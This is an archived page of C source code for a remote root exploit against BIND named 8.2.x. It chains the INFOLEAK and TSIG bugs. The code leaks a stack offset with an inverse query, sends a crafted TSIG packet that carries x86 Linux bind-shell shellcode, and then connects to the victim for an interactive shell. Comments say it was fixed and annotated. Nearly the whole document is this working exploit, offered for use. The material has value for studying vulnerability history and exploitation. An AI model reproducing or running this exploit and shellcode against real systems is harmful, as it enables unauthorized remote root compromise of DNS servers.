TUCoPS :: Unix :: General :: bind-t~1.c


TUCoPS :: Unix :: General :: bind-t~1.c

INFOLEAK and TSIG bug exploit

/*
 * This exploit has been fixed and extensive explanation and clarification
 * added.
 * Cleanup done by:
 * Ian Goldberg <ian@cypherpunks.ca>
 * Jonathan Wilkins <jwilkins@bitland.net>
 * NOTE: the default installation of RedHat 6.2 seems to not be affected
 * due to the compiler options. If BIND is built from source then the
 * bug is able to manifest itself.
 */
/*
 * Original Comment:
 * lame named 8.2.x remote exploit by
 *
 * Ix		[adresadeforward@yahoo.com] (the master of jmpz),
 * lucysoft	[lucysoft@hotmail.com] (the master of queries)
 *
 * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
 * linux only shellcode
 * this is only for demo purposes, we are not responsable in any way for what you do with this code.
 *
 * flamez 	- canaris
 * greetz	- blizzard, netman.
 * creditz	- anathema <anathema@hack.co.za> for the original shellcode
 * 		- additional code ripped from statdx exploit by ron1n
 *
 * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
 * if you understand how it works, it won't be too hard to un-broke it
 */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#define max(a,b) ((a)>(b)?(a):(b))
#define BUFFSIZE 4096
int argevdisp1, argevdisp2;
char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
 * and the number of bytes used so far. This needs to be lower than
 * 62 in order to fit in a single Query Record. 2 are used in total to
 * send the shell code
 */
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
 spot first */
"\xeb\x44" /* jmp intr */ // 2 - 2
/* start: */
"\x5e" /* popl %esi */ // 1 - 3
 /* socket() */
"\x29\xc0" /* subl %eax, %eax */ // 2 - 5
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8
"\x40" /* incl %eax */ // 1 - 9
"\x89\xc3" /* movl %eax, %ebx */ // 2 - 11
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14
"\x40" /* incl %eax */ // 1 - 15
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21
"\xb0\x66" /* movb 0ドルx66, %al */ // 2 - 23
"\xcd\x80" /* int 0ドルx80 */ // 2 - 25
 /* bind() */
"\x43" /* incl %ebx */ // 1 - 26
"\xc6\x46\x10\x10" /* movb 0ドルx10, 0x10(%esi) */ // 4 - 30
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"\x29\xc0" /* subl %eax, %eax */ // 2 - 39
"\x89\xc2" /* movl %eax, %edx */ // 2 - 41
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
/*
 * the port address in hex (0x9000 = 36864), if this is changed, then a similar
 * change must be made in the connection() call
 * NOTE: you only get to set the high byte
 */
"\xb0\x90" /* movb 0ドルx90, %al */ // 2 - 46
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59
"\xeb\x02" /* jmp cont */ // 2 - 2
/* intr: */
"\xeb\x43" /* jmp callz */ // 2 - 4
/* cont: */
"\xb0\x66" /* movb 0ドルx66, %al */ // 2 - 6
"\xcd\x80" /* int 0ドルx80 */ // 2 - 10
 /* listen() */
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ // 3 - 11
"\x43" /* incl %ebx */ // 1 - 12
"\x43" /* incl %ebx */ // 1 - 13
"\xb0\x66" /* movb 0ドルx66, %al */ // 2 - 15
"\xcd\x80" /* int 0ドルx80 */ // 2 - 17
 /* accept() */
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 20
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 23
"\xb0\x66" /* movb 0ドルx66, %al */ // 2 - 25
"\x43" /* incl %ebx */ // 1 - 26
"\xcd\x80" /* int 0ドルx80 */ // 1 - 27
 /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3" /* xchgb %al, %bl */ // 2 - 29
"\xb0\x3f" /* movb 0ドルx3f, %al */ // 2 - 31
"\x29\xc9" /* subl %ecx, %ecx */ // 2 - 33
"\xcd\x80" /* int 0ドルx80 */ // 2 - 35
"\xb0\x3f" /* movb 0ドルx3f, %al */ // 2 - 37
"\x41" /* incl %ecx */ // 1 - 38
"\xcd\x80" /* int 0ドルx80 */ // 2 - 40
"\xb0\x3f" /* movb 0ドルx3f, %al */ // 2 - 42
"\x41" /* incl %ecx */ // 1 - 43
"\xcd\x80" /* int 0ドルx80 */ // 2 - 45
 /* execve() */
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 48
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 51
"\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 53
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 56
"\xb0\x0b" /* movb 0ドルx0b, %al */ // 2 - 58
"\xcd\x80" /* int 0ドルx80 */ // 2 - 60
"\x90"
/* callz: */
"\xe8\x72\xff\xff\xff" /* call start */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */ // 8 - 13
unsigned long resolve_host(char* host)
{
	long res;
	struct hostent* he;
	if (0 > (res = inet_addr(host)))
	{
		if (!(he = gethostbyname(host)))
			return(0);
		res = *(unsigned long*)he->h_addr;
	}
	return(res);
}
int dumpbuf(char *buff, int len)
{
	char line[17];
	int x;
	/* print out a pretty hex dump */
	for(x=0;x<len;x++){
		if(!(x%16) && x){
			line[16] = 0;
			printf("\t%s\n", line);
		}
		printf("%02X ", (unsigned char)buff[x]);
		if(isprint((unsigned char)buff[x]))
			line[x%16]=buff[x];
		else
			line[x%16]='.';
	}
	printf("\n");
}
void
runshell(int sockd)
{
 char buff[1024];
 int fmax, ret;
 fd_set fds;
 fmax = max(fileno(stdin), sockd) + 1;
 send(sockd, "uname -a; id;\n", 15, 0);
 for(;;)
 {
 FD_ZERO(&fds);
 FD_SET(fileno(stdin), &fds);
 FD_SET(sockd, &fds);
 if(select(fmax, &fds, NULL, NULL, NULL) < 0)
 {
 exit(EXIT_FAILURE);
 }
 if(FD_ISSET(sockd, &fds))
 {
 bzero(buff, sizeof buff);
 if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
 {
 exit(EXIT_FAILURE);
 }
 if(!ret)
 {
 fprintf(stderr, "Connection closed\n");
 exit(EXIT_FAILURE);
 }
 write(fileno(stdout), buff, ret);
 }
 if(FD_ISSET(fileno(stdin), &fds))
 {
 bzero(buff, sizeof buff);
 ret = read(fileno(stdin), buff, sizeof buff);
 if(send(sockd, buff, ret, 0) != ret)
 {
 fprintf(stderr, "Transmission loss\n");
 exit(EXIT_FAILURE);
 }
 }
 }
}
connection(struct sockaddr_in host)
{
	int sockd;
	host.sin_port = htons(36864);
	printf("[*] connecting..\n");
	usleep(2000);
	if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		exit(EXIT_FAILURE);
	}
	if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
	{
		printf("[*] wait for your shell..\n");
		usleep(500);
	 runshell(sockd);
	}
	else
	{
		printf("[x] error: named not vulnerable or wrong offsets used\n");
	}
	close(sockd);
}
int infoleak_qry(char* buff)
{
 HEADER* hdr;
 int n, k;
 char* ptr;
 int qry_space = 12;
 int dummy_names = 7;
 int evil_size = 0xff;
 memset(buff, 0, BUFFSIZE);
 hdr = (HEADER*)buff;
 hdr->id = htons(0xbeef);
 hdr->opcode = IQUERY;
 hdr->rd = 1;
 hdr->ra = 1;
 hdr->qdcount = htons(0);
 hdr->nscount = htons(0);
 hdr->ancount = htons(1);
 hdr->arcount = htons(0);
	ptr = buff + sizeof(HEADER);
	printf("[d] HEADER is %d long\n", sizeof(HEADER));
	
	n = 62;
	for(k=0; k < dummy_names; k++)
	{
		*ptr++ = n;
		ptr += n;
	}
	ptr += 1;
 PUTSHORT(1/*ns_t_a*/, ptr); /* type */
 PUTSHORT(T_A, ptr); /* class */
 PUTLONG(1, ptr); 		/* ttl */
	PUTSHORT(evil_size, ptr);			/* our *evil* size */
	
	return(ptr - buff + qry_space);
	
}
int evil_query(char* buff, int offset)
{
	int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
	HEADER* hdr;
	char *ptr;
	int k, bufflen;
	u_int n, m;
	u_short s;
	int i;
	int shelloff, shellstarted, shelldone;
	int towrite, ourpack;
	int n_dummy_rrs = 7;
	printf("[d] evil_query(buff, %08x)\n", offset);
	printf("[d] shellcode is %d long\n", sizeof(shellcode));
	shelladdr = offset - 0x200;
 lameaddr = shelladdr + 0x300;
	
	ourpack = offset - 0x250 + 2;
	towrite = (offset & ~0xff) - ourpack - 6;
	printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));
	rroffsetidx = towrite / 70;
	offset0 = towrite - rroffsetidx * 70;
	if ((offset0 > 52) || (rroffsetidx > 6))
	{
		printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
		return(-1);
	}
		
	rrshellidx = 1;
	deplshellcode = 2;
	
	hdr = (HEADER*)buff;
	
	memset(buff, 0, BUFFSIZE);
	
	/* complete the header */
	
	hdr->id = htons(0xdead);
	hdr->opcode = QUERY;
	hdr->rd = 1;
	hdr->ra = 1;
	hdr->qdcount = htons(n_dummy_rrs);
	hdr->ancount = htons(0);
	hdr->arcount = htons(1);
	
	ptr = buff + sizeof(HEADER);
	
	shellstarted = 0;
	shelldone = 0;
	shelloff = 0;
	
	n = 63;
	for (k = 0; k < n_dummy_rrs; k++)
	{
		*ptr++ = (char)n;
		
		for(i = 0; i < n-2; i++)
		{
			if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
			{
				printf("[*] injecting shellcode at %d\n", k);
				shellstarted = 1;
			}
		
			if ((k == rroffsetidx) && (i == offset0))
			{
				*ptr++ = lameaddr & 0x000000ff;
				*ptr++ = (lameaddr & 0x0000ff00) >> 8;
				*ptr++ = (lameaddr & 0x00ff0000) >> 16;
				*ptr++ = (lameaddr & 0xff000000) >> 24;
				*ptr++ = shelladdr & 0x000000ff;
				*ptr++ = (shelladdr & 0x0000ff00) >> 8;
				*ptr++ = (shelladdr & 0x00ff0000) >> 16;
				*ptr++ = (shelladdr & 0xff000000) >> 24;
 *ptr++ = argevdisp1 & 0x000000ff;
 *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
 *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
 *ptr++ = (argevdisp1 & 0xff000000) >> 24;
 *ptr++ = argevdisp2 & 0x000000ff;
 *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
 *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
 *ptr++ = (argevdisp2 & 0xff000000) >> 24;
				i += 15;
			}
			else
			{
				if (shellstarted && !shelldone)
				{
					*ptr++ = shellcode[shelloff++];	
					if(shelloff == (sizeof(shellcode)))
						shelldone=1;
				}
				else
				{
					*ptr++ = i;
				}
			}
		}
		
		/* OK: this next set of bytes constitutes the end of the
 * NAME field, the QTYPE field, and the QCLASS field.
 * We have to have the shellcode skip over these bytes,
 * as well as the leading 0x3f (63) byte for the next
 * NAME field. We do that by putting a jmp instruction
 * here.
 */
		*ptr++ = 0xeb;
		
		if (k == 0)
		{
			*ptr++ = 10;
			
			/* For alignment reasons, we need to stick an extra
 * NAME segment in here, of length 3 (2 + header).
 */
			m = 2;
			*ptr++ = (char)m; // header
			ptr += 2;
		}
		else
		{
			*ptr++ = 0x07;
		}
		
		/* End the NAME with a compressed pointer. Note that it's
 * not clear that the value used, C0 00, is legal (it
 * points to the beginning of the packet), but BIND apparently
 * treats such things as name terminators, anyway.
 */
		*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
		*ptr++ = 0x00; /*NS_CMPRSFLGS*/
		
		ptr += 4; /* QTYPE, QCLASS */
	}
	
	/* Now we make the TSIG AR */
	*ptr++ = 0x00; /* Empty name */
	PUTSHORT(0xfa, ptr); /* Type TSIG */
	PUTSHORT(0xff, ptr); /* Class ANY */
	bufflen = ptr - buff;
	
	// dumpbuf(buff, bufflen);
	return(bufflen);
}
long xtract_offset(char* buff, int len)
{
	long ret;
	
	/* Here be dragons. */
	/* (But seriously, the values here depend on compilation options
 * used for BIND.
 */
	ret = *((long*)&buff[0x214]);
	argevdisp1 = 0x080d7cd0;
	argevdisp2 = *((long*)&buff[0x264]);
	printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
		argevdisp1, argevdisp2);
	
	// dumpbuf(buff, len);
	
	return(ret);
}
int main(int argc, char* argv[])
{
	struct sockaddr_in sa;
	int sock;
	long address;
	char buff[BUFFSIZE];
	int len, i;
	long offset;
	socklen_t reclen;
	unsigned char foo[4];
	printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n");
	printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");
	address = 0;
	if (argc < 2)
	{
		printf("[*] usage : %s host\n", argv[0]);
		return(-1);
	}
	if (!(address = resolve_host(argv[1])))
	{
		printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
		return(-1);
	} else {
		memcpy(foo, &address, 4);
		printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]);
	}
	
	sa.sin_family = AF_INET;
	if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
	{
		return(-1);
	}
	
	sa.sin_family = AF_INET;
	sa.sin_port = htons(53);
	sa.sin_addr.s_addr= address;
	
	
	len = infoleak_qry(buff);
	printf("[d] infoleak_qry was %d long\n", len);
	len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	if (len < 0)
	{
		printf("[*] unable to send iquery\n");
		return(-1);
	}
	
	reclen = sizeof(sa);
	len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
	if (len < 0)
	{
 printf("[x] unable to receive iquery answer\n");
 return(-1);	
	}
	printf("[*] iquery resp len = %d\n", len);
	
	offset = xtract_offset(buff, len);
	printf("[*] retrieved stack offset = %x\n", offset);
	
	
	len = evil_query(buff, offset);
	if(len < 0){
		printf("[x] error sending tsig packet\n");
		return(0);
	}
	
	sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	
	if (0 > close(sock))
	{
		return(-1);
	}
	connection(sa);
	return(0);	
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH

AltStyle によって変換されたページ (->オリジナル) /